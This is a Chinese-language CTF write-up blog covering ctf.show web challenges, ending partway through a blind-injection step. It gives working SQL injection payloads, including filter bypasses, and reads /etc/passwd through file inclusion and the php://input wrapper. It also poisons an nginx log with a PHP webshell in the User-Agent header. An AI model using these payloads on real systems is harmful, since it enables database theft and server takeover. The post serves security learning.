ctf.show网站WEB在线解题教程(持续更新)

ctf.show网站WEB在线解题教程

网站链接:https://ctf.show/

web签到题

这里打开靶场后,显示如图

image-20261006140651024

因为没有线索,我们直接右键鼠标查看网站源代码,显示如图

image-20261006140803800

这里很明显是个base64编码,直接用解码工具查看一下,如图得到flag

image-20261006140958041

web2

考点:SQL注入

打开靶场后如图,明显是一个弱口令或者是SQL注入的题目

image-20261006141236392

先试试弱口令,但没什么反应,估计就是SQL注入了

image-20261006141318533

是SQL注入我们先试一试万能密码'or 1=1#,万能密码正常回显说明存在SQL注入漏洞并且闭合成功

image-20261006141548881

image-20261006141457944

接下来猜列'or 1=1 order by 3# ,这里3正常显示,但4没有显示,说明有三列。

image-20261006141709317

image-20261006141816387

image-20261006141952873

接下来看占位符'or 1=2 union select 1,2,3#,这里显示为2,说明2号位置为占位符

image-20261006142140264

image-20261006142156552

查库名'or 1=2 union select 1,database(),3#

image-20261006142324457

image-20261006142338497

查表名'or 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#,这里查看到flag,user两个表,我们要的为flag表

image-20261006142752415

image-20261006142800913

查列名'or 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name="flag"#

image-20261006143121000

image-20261006143131562

查数据'or 1=2 union select 1,flag,3 from flag#,这里flag就有了

image-20261006143302343

image-20261006143311052

web3

考点:文件包含、伪协议

打开关卡后发现这里是文件包含漏洞,我们先测试一下?url=/etc/passwd,出现数据说明存在文件包含漏洞

image-20261006150455541

image-20261006150600866

我们用bp抓包利用伪协议来读取当前目录结构,查看返回数据包中有ctf_go_go_go这个文件。

注意:不是 POST 传递了 url 参数,而是 php://input 这个伪协议,读取的是 HTTP 请求的请求体(POST body),和$_GET['url']参数本身是两件事。

image-20261006151132164

我们在读取这个文件,这里就出来结果了

image-20261006151814200

web4

考点:文件包含、日志注入

writeUp:这里给的是日志注入

输入?url=/var/log/nginx/access.log测试,发现正常读取没有问题,且我们发现每次读取日志,日志文件都会把我们这次读取请求数据包中的User-Agent信息写进去,这样我们就可以把木马写到我们的User-Agent中

image-20261006153600020

这里我们直接在User-Agent中写入一句话木马,并用蚁剑连接,获得getshell

image-20261006161731388

image-20261006161708718

然后在蚁剑中拿到了目标文件

image-20261006162009646

web5

考点:代码审计、函数绕过

打开靶场看到源码,这有三个函数ctype_alpha()、is_numeric()、md5(),这里ctype_alpha()判断是否为纯字母、is_numeric()判断是否为纯数字。然后再符合前面两个函数的条件下,通过md5()加密后为0e开头的即可绕过md5($v1)==md5($v2)

image-20261006170216414

因此我们设计payload为?v1=QNKCDZO&v2=240610708,输入后就拿到了flag。

web6

考点:SQL注入绕过

打开靶场我们,可看到登录框依旧先试试弱口令,弱口令没有试试万能密码,尝试用万能密码结果报sql注入,说明对我们的输入进行检测了

image-20261006173327969

image-20261006173625351

接下来我要试试,看看能不能把绕过的符号找出来,单输入一个单引号没有报,说明单引号没有被过滤

image-20261006173822260

image-20261006173931846

这里我再输入' ,单引号加空格发现报错,说明应该是空格被过滤了

image-20261006183048790

image-20261006183059306

这里我们用/**/来代替空格进行绕过,发现成功登录,剩下就和web2一样了

image-20261006183327673

image-20261006183353169

#猜列
'or/**/1=1/**/order/**/by/**/3#
'or/**/1=1/**/order/**/by/**/4#

#查回显
'or/**/1=1/**/union/**/select/**/1,2,3#

#查表名
'or/**/1=2/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

#查列名
'or/**/1=2/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

#查数据
'or/**/1=2/**/union/**/select/**/1,flag,3/**/from/**/flag#

web7

考点:布尔盲注

打开网站随便选择一篇文章发现有参数id,我们试试对id进行注入,正常显示说明该参数可控

?id=1'#

image-20261006185402258

输入出现sql注入的提示,说明有东西被过滤了

?id=1' and 1=1#

image-20261006185532553

这里尝试该payload,报错说明是空格过滤了

?id=1' #

image-20261006185707394

这里我尝试用%0a绕过空格,发现正常显示没有什么问题,这里就用%0a代替

?id=1'%0a#

image-20261006185838072

猜库名长度(二分法)

?id=1'%0aand%0alength(database())>1#
?id=1'%0aand%0alength(database())>10#

?id=1'%0aand%0alength(database())>5#
?id=1'%0aand%0alength(database())>3#

?id=1'%0aand%0alength(database())>4#
?id=1'%0aand%0alength(database())=4#

image-20261006190741095

image-20261006190719336

再利用

?id=1'%0aand%0aascii(mid(database(),1,1))>115#
posted @ 2026-10-06 19:23  新手打怪兽  阅读(30)  评论(0)    收藏  举报